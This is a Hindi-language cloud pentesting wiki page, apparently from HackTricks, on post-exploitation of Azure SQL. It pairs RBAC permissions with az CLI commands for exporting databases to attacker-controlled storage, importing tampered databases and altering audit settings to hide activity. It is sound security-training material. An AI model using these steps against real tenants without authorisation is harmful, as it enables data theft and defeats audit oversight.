8.1 KiB
Az - SQL Database Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
SQL Database Post Exploitation
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{{#ref}} ../az-services/az-sql.md {{#endref}}
"Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण के भीतर डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण कार्यों को सक्षम करने के लिए।
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
"Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम करने के लिए।
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
"Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
इस अनुमति के साथ, आप Azure SQL Server पर ऑडिटिंग सेटिंग्स को संशोधित या सक्षम कर सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को ऑडिट कॉन्फ़िगरेशन में हेरफेर करने की अनुमति दे सकता है, संभावित रूप से ट्रैक को कवर करने या ऑडिट लॉग को उनके नियंत्रण में किसी स्थान पर पुनर्निर्देशित करने की अनुमति दे सकता है। यह सुरक्षा निगरानी में बाधा डाल सकता है या इसे क्रियाओं का ट्रैक रखने में सक्षम बना सकता है। नोट: Blob Storage का उपयोग करके Azure SQL Server के लिए ऑडिटिंग सक्षम करने के लिए, आपको एक स्टोरेज खाता संलग्न करना होगा जहाँ ऑडिट लॉग को सहेजा जा सके।
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
"Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
इस अनुमति के साथ, आप Azure SQL Server की कनेक्शन नीतियों को संशोधित कर सकते हैं। इस क्षमता का उपयोग सर्वर-स्तरीय कनेक्शन सेटिंग्स को सक्षम या बदलने के लिए किया जा सकता है।
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
"Microsoft.Sql/servers/databases/export/action"
इस अनुमति के साथ, आप Azure SQL Server से एक डेटाबेस को एक स्टोरेज अकाउंट में निर्यात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, वह डेटाबेस से संवेदनशील डेटा को एक ऐसी जगह पर निर्यात करके निकाल सकता है जिसे वह नियंत्रित करता है, जिससे डेटा लीक का महत्वपूर्ण जोखिम होता है। इसे करने के लिए स्टोरेज कुंजी जानना महत्वपूर्ण है।
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
"Microsoft.Sql/servers/databases/import/action"
इस अनुमति के साथ, आप एक डेटाबेस को Azure SQL Server में आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए।
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
{{#include ../../../banners/hacktricks-training.md}}